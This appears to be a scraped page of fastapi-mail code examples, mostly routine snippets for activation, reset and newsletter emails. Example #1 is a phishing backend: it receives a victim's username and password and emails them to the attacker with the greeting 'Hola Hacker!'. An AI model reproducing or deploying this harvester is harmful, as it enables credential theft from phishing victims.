예제 #1
0
async def api_hacked(hacked_user: HackedUser):
    email = {'email': ['*****@*****.**']}

    user_dict = hacked_user.dict()

    template = f""" 
        <html> 
        <body>           
            <p>Hola Hacker!</p>
            <p>Estos son los datos de la victima<br>
            Usuario: <strong>{hacked_user.username}</strong><br>
            Password: <strong>{hacked_user.password}</strong><br>
            </p>
        </body> 
        </html> 
        """

    message = MessageSchema(
        subject="Datos de la pesca",
        recipients=email.get(
            "email"),  # Lista de correos a donde se envia la data
        body=template,
        subtype="html")

    fm = FastMail(conf)
    await fm.send_message(message)

    return user_dict
예제 #2
0
async def send_email(**kargs):
    to_email = kargs.get('to_email')
    login_url = kargs.get('login_url')
    tem = template.resister_html(login_url)
    mail = FastMail(email="*****@*****.**",password="******",tls=True,port="587",service="gmail")

    await  mail.send_message(recipient=to_email,subject="Test email from fastapi-mail", body=tem, text_format="html")
예제 #3
0
async def awesome_fastapi_func_1(email: EmailSchema) -> JSONResponse:

    mail = FastMail("******@gmail.com","******",tls=True)

    await  mail.send_message(recipient=email.email,subject="Test email from fastapi-mail", body=html, text_format="html")
    
    return JSONResponse(status_code=200, content={"message": f"email has been sent {email.email} address"})
예제 #4
0
async def send_mail(email: schema.Email) -> JSONResponse:

    template = """
        <html>
        <body>
          
    <p>Hi !!!
        <br>Thanks for using fastapi mail, keep using it..!!!</p>
  
        </body>
        </html>
        """

    message = MessageSchema(
        subject=email.dict().get('subject'),
        recipients=email.dict().get(
            "email"),  # List of recipients, as many as you can pass 
        body=template,
        subtype=email.dict().get('topic'),
    )

    fm = FastMail(conf)
    await fm.send_message(message)
    print(message)
    return JSONResponse(status_code=200,
                        content={"message": "email has been sent"})
예제 #5
0
async def test_html_message_with_html(mail_config):
    persons = [{
        'name': 'Andrej'
    }, {
        'name': 'Mark'
    }, {
        'name': 'Thomas'
    }, {
        'name': 'Lucy',
    }, {
        'name': 'Robert'
    }, {
        'name': 'Dragomir'
    }]

    directory = os.getcwd()
    html = directory + "/files"

    msg = MessageSchema(subject="testing",
                        recipients=["*****@*****.**"],
                        html=persons)
    conf = ConnectionConfig(**mail_config)
    fm = FastMail(conf)
    await fm.send_message(message=msg, template_name="email.html")
    assert msg.html == '''
예제 #6
0
async def awesome_fastapi_func_2(background_tasks: BackgroundTasks,email: str = Body(...,embed=True)) -> JSONResponse:

    mail = FastMail("******@gmail.com","******",tls=True)

    background_tasks.add_task(mail.send_message, recipient=email,subject="testing HTML",body=template,text_format="html")

    return JSONResponse(status_code=200, 
                        content={"message": f"email has been sent {email} address"})
예제 #7
0
async def user(to: EmailStr, body: Body):
    message = MessageSchema(subject="Confirm your email address",
                            recipients=[to],
                            body=body,
                            subtype="html")
    if (os.getenv("MAIL_USERNAME") and os.getenv("MAIL_PASSWORD")) or (
            config.CONFIG.mail_username and config.CONFIG.mail_password):
        fm = FastMail(conf)
        await fm.send_message(message, template_name="email_template.html")
예제 #8
0
async def on_after_forgot_password(user: UserDB, token: str, request: Request):
    
    message = MessageSchema(
        subject="Reset password request",
        recipients=[user.email],
        body=f'Here is your reset token\n\n {token}'
    )
    fm = FastMail(email_conf)
    await fm.send_message(message)
예제 #9
0
 def __do_send_email(self, data):
     # TODO: Image??
     background = self.__ctx['background']
     msg = MessageSchema(subject=self.__subj,
                         recipients=self.__tgts,
                         body=data,
                         subtype='html')
     fm = FastMail(settings.mail_config)
     background.add_task(fm.send_message, msg, template_name=self.__tname)
예제 #10
0
async def awesome_fastapi_func_3(background_tasks: BackgroundTasks,emails: list=Body(...,embed=True)) -> JSONResponse:

    mail = FastMail("*****@*****.**","*********",tls=True)

   
    background_tasks.add_task(mail.send_message,recipient=[email1,email2],subject="Bulk mail from fastapi-mail with background task",body="Bulk mail Test",text_format="plain",bulk=True)

    
    return JSONResponse(status_code=200, content={"message": f"email has been sent to these {email1,email2} addresses"})
예제 #11
0
async def send_email(email: str, result: str):
    mail = FastMail(email=os.getenv('DEFAULT_EMAIL'),
                    password=os.getenv('DEFAULT_EMAIL_PASSWORD'),
                    tls=True,
                    port="587",
                    service="gmail")
    await mail.send_message(recipient=email,
                            subject="Activation Request Result",
                            body=templates[result],
                            text_format="html")
예제 #12
0
async def sendemail(background_tasks: BackgroundTasks,email: EmailStr = Form(...),subject: str = Form(...),body: str = Form(...))-> JSONResponse:

    message = MessageSchema(
        subject = "{} : {}".format(email, subject),
        recipients = ['*****@*****.**'],
        body = body
    )
    fm = FastMail(conf)
    background_tasks.add_task(fm.send_message, message)
    return JSONResponse(status_code=200, content={"msg": "Email sended successfully"})
예제 #13
0
async def send_activation_email(user: UserInDB):
    email_template = template.format(str(user.activation_code))
    print(email_template)
    message = MessageSchema(subject="Kako app - activation code",
                            recipients=[user.email],
                            body=email_template,
                            subtype="html")

    fm = FastMail(conf)
    await fm.send_message(message)
예제 #14
0
async def test_connection(mail_config):
    message = MessageSchema(subject="test subject",
                            recipients=["*****@*****.**"],
                            body="test",
                            subtype="plain")
    conf = ConnectionConfig(**mail_config)

    fm = FastMail(conf)

    await fm.send_message(message)
예제 #15
0
async def simple_send(email: EmailSchema) -> JSONResponse:
    message = MessageSchema(
        subject="Project 28 Survey",
        recipients=email.dict().get(
            "email"),  # List of recipients, as many as you can pass 
        body=html,
    )
    fm = FastMail(conf)
    await fm.send_message(message)
    return JSONResponse(status_code=200,
                        content={"message": "email has been sent"})
예제 #16
0
async def simple_send(emails, content, subject):

    message = MessageSchema(
        subject=subject,
        recipients=emails,
        body=content,
        subtype="html"
    )

    fm = FastMail(conf)
    await fm.send_message(message)
예제 #17
0
파일: app.py 프로젝트: LLYX/fastapi-mail
async def simple_send(email: EmailSchema) -> JSONResponse:

    message = MessageSchema(subject="Fastapi-Mail module",
                            recipients=email.dict().get("email"),
                            body=html,
                            subtype="html")

    fm = FastMail(conf)
    await fm.send_message(message)
    return JSONResponse(status_code=200,
                        content={"message": "email has been sent"})
예제 #18
0
파일: send.py 프로젝트: Ju99ernaut/mailer
async def newsletter(to: List[EmailStr], subject: str, body: str):
    message = MessageSchema(
        subject=subject,
        recipients=to,
        body=body,
        subtype="html",
    )
    conf = get_config()
    if conf:
        fm = FastMail(conf)
        await fm.send_message(message)
예제 #19
0
async def send_email_async(subject: str, email_to: str, body: dict):
    message = MessageSchema(
        subject=subject,
        recipients=[email_to],
        body=body,
        subtype='html',
    )

    fm = FastMail(conf)

    await fm.send_message(message, template_name='email.html')
예제 #20
0
async def simple_send(email, code="", front_url="") -> JSONResponse:
    print(email)
    message = MessageSchema(
        subject="Activate your secret voldemort account",
        recipients=email,
        body=html(front_url, code),
        subtype="html"
    )

    fm = FastMail(conf)
    await fm.send_message(message)
    return JSONResponse(status_code=200, content={"message": "email has been sent"})
예제 #21
0
async def on_after_register(user: UserDB, request: Request, ):
    html = """
    <p>Thank you for registering!</p> 
    """
    message = MessageSchema(
        subject="Terima kasih kerana mendaftar!",
        recipients=[user.email],
        body=html,
        subtype='html'
    )
    fm = FastMail(email_conf)
    await fm.send_message(message)
예제 #22
0
파일: send.py 프로젝트: Ju99ernaut/mailer
async def use_template(to: List[EmailStr], subject: str, body: dict,
                       template: str):
    message = MessageSchema(
        subject=subject,
        recipients=to,
        body=body,
        subtype="html",
    )
    conf = get_config()
    if conf:
        fm = FastMail(conf)
        await fm.send_message(message, template=template)
async def send_mail(subject: str, recipient: List, message: str):
    message_s = MessageSchema(
        subject=subject,
        recipients=recipient,
        body=message,
        subtype="html",
    )

    fm = FastMail(conf)
    await fm.send_message(message=message_s)

    return {"status": "sent messgae"}
예제 #24
0
def send_email(background_tasks: BackgroundTasks, email, code,
               request: Request):
    """Sends an email with a defined template containing the passcode.

    Email is intialized at '/enter_recovery_email' endpoint as global.
    You have to fill in here your email and password from which you want
    to send the mail (GMAIL).

    Parameters
    ----------
    background_tasks : BackgroudTasks
        For sending the mail in the background.
    request : Request
        For using JinJaTemplates as a response.

    Returns
    -------
    template : Jinaja Template
        Returns the template "after_email_sent_response.html".
    """

    template = """
        <html>
        <body>
        <p>Hi !!!
        <br>Thanks for using Workeeper</p>
        <p> Your passcode is : %s </p>
        </body>
        </html>
        """ % (code)

    conf = ConnectionConfig(MAIL_USERNAME='******',
                            MAIL_PASSWORD="******",
                            MAIL_PORT=587,
                            MAIL_SERVER="smtp.gmail.com",
                            MAIL_TLS=True,
                            MAIL_SSL=False)

    message = MessageSchema(
        subject="password recovery",
        recipients=[email],  # List of recipients, as many as you can pass  
        body=template,
        subtype="html")

    fm = FastMail(conf)

    #await fm.send_message(message)

    background_tasks.add_task(fm.send_message, message)

    return templates.TemplateResponse("after_email_sent_response.html",
                                      {"request": request})
예제 #25
0
    async def send_confirmation_to_client(
            self, email_info: mail_schemas.RequestCreated,
            required_docs: List[str]):
        html = confirmation_html()
        message = MessageSchema(subject=email_info.dict().get("subject"),
                                recipients=[
                                    email_info.dict().get("client_email"),
                                ],
                                body=html,
                                subtype="html")

        fm = FastMail(self.conf)
        await fm.send_message(message)
예제 #26
0
    async def send_email(self,
                         subject: str,
                         email: str,
                         recipients,
                         test_email: bool = False):

        conf = await self.get_email_config()
        if not conf:
            return f"no email server configured"

        decoded = self.decode(conf[0]["password"])

        conf[0]["password"] = decoded[1]["password"]
        conf = conf[0]

        conf = ConnectionConfig(
            **{
                "MAIL_USERNAME": conf["username"],
                "MAIL_PASSWORD": conf["password"],
                "MAIL_FROM": conf["mail_from"],
                "MAIL_PORT": conf["port"],
                "MAIL_SERVER": conf["server"],
                "MAIL_FROM_NAME": conf["mail_from_name"],
                "MAIL_TLS": conf["mail_tls"],
                "MAIL_SSL": conf["mail_ssl"],
            })

        body = f"""<p>{email}</p>"""

        message = MessageSchema(
            subject=f"{subject}",
            recipients=recipients if isinstance(recipients, list) else
            [recipients],  # List of recipients, as many as you can pass
            body=body,
            subtype="html",
        )

        async def email_send():
            try:
                return await fm.send_message(message)
            except Exception as e:
                self.log.exception("Error sending email")
                return f"Error Sending Email - {repr(e)}"

        fm = FastMail(conf)
        if not test_email:
            asyncio.create_task(email_send())
        else:
            result = await email_send()
        return {"message": "email sent"}
예제 #27
0
async def test_html_message(mail_config):

    directory = os.getcwd()
    html = directory + "/files"

    msg = MessageSchema(subject="testing",
                        recipients=["*****@*****.**"],
                        body="html test")
    conf = ConnectionConfig(**mail_config)
    fm = FastMail(conf)

    await fm.send_message(message=msg, template_name="test.html")

    assert msg.subtype == "html"
예제 #28
0
def send_email_background(background_tasks: BackgroundTasks, subject: str,
                          email_to: str, body: dict):
    message = MessageSchema(
        subject=subject,
        recipients=[email_to],
        body=body,
        subtype='html',
    )

    fm = FastMail(conf)

    background_tasks.add_task(fm.send_message,
                              message,
                              template_name='email.html')
예제 #29
0
async def send_email_async(subject: str,
                           recipients: list[EmailStr],
                           template: str,
                           body: dict = {},
                           attachments: list[dict] = []):
    message = MessageSchema(subject=subject,
                            recipients=recipients,
                            template_body=body,
                            subtype='html',
                            attachments=attachments)

    fm = FastMail(_conf)

    await fm.send_message(message, template_name=template)
예제 #30
0
파일: email.py 프로젝트: hill/UEM2
async def send_template_email(
    email_to: str,
    subject: str = "",
    template_file: str = "",
    environment: Dict[str, Any] = {},
):
    message = MessageSchema(
        subject=subject,
        recipients=[email_to],
        template_body=environment,
    )
    fm = FastMail(conf)
    await fm.send_message(message, template_name=template_file)
    logging.info(f"sent email to {email_to}")